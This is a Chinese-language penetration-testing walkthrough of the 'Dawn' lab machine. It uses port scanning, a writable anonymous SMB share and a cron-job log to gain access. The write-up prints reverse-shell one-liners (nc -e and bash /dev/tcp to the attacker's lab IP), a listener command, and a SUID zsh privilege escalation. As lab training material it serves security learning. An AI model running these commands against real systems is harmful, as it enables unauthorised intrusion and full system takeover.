getwebshell → SMB共享无密码 → SMB存在上传功能 → 存在周期执行任务 → SMB上传反弹shell → 被执行获得webshell
提 权 思 路 → suid发现zsh → -p容器提权
启动VPN
获取攻击机IP > 192.168.45.163

启动靶机
获取目标机器IP > 192.168.242.11

Nmap开放端口扫描2次
sudo nmap --min-rate 10000 -p- 192.168.242.11

通过两次收集到的端口:→80,139,445,3306
- # tcp探测
-
- sudo nmap -sT -sV -O -sC -p80,139,445,3306 192.168.242.11

80/tcp open http Apache httpd 2.4.38 ((Debian))445/tcp open netbios- Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1
首先思考445端口是否存在SMB共享内容,在思考3306端口是否存在弱口令,最后来挖掘80端口
连接成功则SMB没有开启密码
- # 利用-L查看SMB的内容
-
- smbclient -L //192.168.242.11
发现SMB服务不需要密码即可访问,查看到了目录ITDEPT

- # 利用获取到的[sambashare]直接进行访问查看内容
-
- smbclient //192.168.242.11/ITDEPT -U root
查看了一下文件,没发现什么有用的内容

- # 利用获取到的sambashare直接进行访问之后尝试使用PUT是否成功
-
- smbclient //192.168.242.11/ITDEPT -U root
-
- smb :\ > put [上传的文件]
尝试了上传功能,发现SMB的上传功能开启

- # 抓取用户名
-
- enum4linux 192.168.242.11
抓着玩,先去干其他的

- # 尝试直接使用mysql协议进行root:root尝试(远程需-h)
-
- ┌──(root㉿Kali)-[/home/bachang/Dawn]
-
- └─# mysql -h 192.168.242.11 -uroot -proot
-
- ERROR 1045 (28000): Access denied for user 'root'@'192.168.45.163' (using password: YES)
访问 http://192.168.242.11/ 发现显示的是设备正在建设中,从源码步骤开始

- # 包括文章中是否写明一些敏感信息
-
- curl http://192.168.242.11
-
- # 利用html2text转换纯文本方便查看
-
- curl http://192.168.242.11 | html2text
没什么有用的信息

如果扫描发现301适当考虑 -r 2 进行递归
dirsearch -u http://192.168.242.11 -x 302,403

因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
/log端点查看
发现该端点存在路径遍历

访问了其中的内容,发现只有management.log可以查看

下载之后进行查看,发现为系统内运行日志

收集到了账户信息 ganimedes
在查看的过程中发现每分钟会执行重复的命令,在充满的命令中发现一些有趣的内容
确认了会周期性的执行给777的权限到对应的文件

并且会执行

回到之前我们发现的SMB的文件夹发现是ITDEPT
和我们发现周期性日志中给777权的文件夹相同
推测可以将文件上传到SMB,等待执行获取反弹shell
确定我们需要上传的文件名为web-control,构造内容
- echo 'nc -e /bin/bash 192.168.45.163 4444' > web-control
-
- echo 'bash -i >& /dev/tcp/192.168.45.163/4444 0>&1' > product-control
将文件上传到SMB中

攻击机开启监听
sudo nc -lvvp 4444
等待反弹shell的监听

成功反弹shell

由于获取的shell交互不友好,利用python获得新的交互shell
- # 利用python获取交互shell -> python失败使用python3
-
- python -c "import pty;pty.spawn('/bin/bash')";

- www-data@dawn:~$ find / -name local.txt 2>/dev/null
-
- /home/dawn/local.txt
-
- cat /home/dawn/local.txt
-
- *************************

在获取shell之后我们要进行内网信息的收集,都是为了提权做准备
- # 确定发行版本
-
- lsb_release -a

- # 确定内核版本
-
- uname -a

- # 发现了两个用户 和我们收集的一样
-
- ls -al /home

- # 例如.ssh找密码 ./*_history找历史记录等
-
- ls -al /home/dawn
发现了隐藏的内容,先放一边,没思路就来

查找具有sudo权限,且不需要密码的可提权文件
- # 利用sudo -l寻找
-
- sudo -l
发现sudo的是sudo,不太能提权

- # -perm 文件权限
-
- find / -perm -u=s -type f 2>/dev/null
发现了zsh进行搜索

如果发现有东西的话 访问 https://gtfobins.github.io 寻找

zsh的提权其实与bash的类似
提权成功

-
- cat /root/proof.txt
-
- ************************

完结撒花~
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
![]()
没看够~?欢迎关注!